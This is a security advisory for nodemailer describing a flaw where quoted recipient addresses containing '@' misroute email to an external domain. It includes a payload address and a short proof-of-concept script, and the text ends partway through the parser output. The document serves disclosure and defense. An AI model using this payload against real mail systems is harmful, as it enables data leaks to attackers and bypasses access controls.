A vulnerability was identified in the email parsing library due to improper handling of specially formatted recipient email addresses. An attacker can exploit this flaw by crafting a recipient address that embeds an external address within quotes. This causes the application to misdirect the email to the attacker's external address instead of the intended internal recipient. This could lead to a significant data leak of sensitive information and allow an attacker to bypass security filters and access controls.

GHSA-mm7p-fcc7-pg87 — Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict

Affected: npm: nodemailer

The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.

Payload: `"xclow3n@gmail.com x"@internal.domain` Using the following code to send mail ``` const nodemailer = require("nodemailer");

let transporter = nodemailer.createTransport({ service: "gmail", auth: { user: "", pass: "", }, });

let mailOptions = { from: '"Test Sender" <your_email@gmail.com>', to: "\"xclow3n@gmail.com x\"@internal.domain", subject: "Hello from Nodemailer", text: "This is a test email sent using Gmail SMTP and Nodemailer!", };

transporter.sendMail(mailOptions, (error, info) => { if (error) { return console.log("Error: ", error); } console.log("Message sent: %s", info.messageId);

});

(async () => { const parser = await import("@sparser/email-address-parser"); const { EmailAddress, ParsingOptions } = parser.default; const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);

if (!parsed) { console.error("Invalid email address:", mailOptions.to); return; }

console.log("Parsed email:", { address: `${parsed.localPart}@${parsed.domain}`, local: parsed.localPart, domain: parsed.domain, }); })(); ```

Running the script and seeing how this mail is parsed according to RFC

``` Parsed email: { address: '"xclow3n@gmail.com x"@internal.domain', lo…
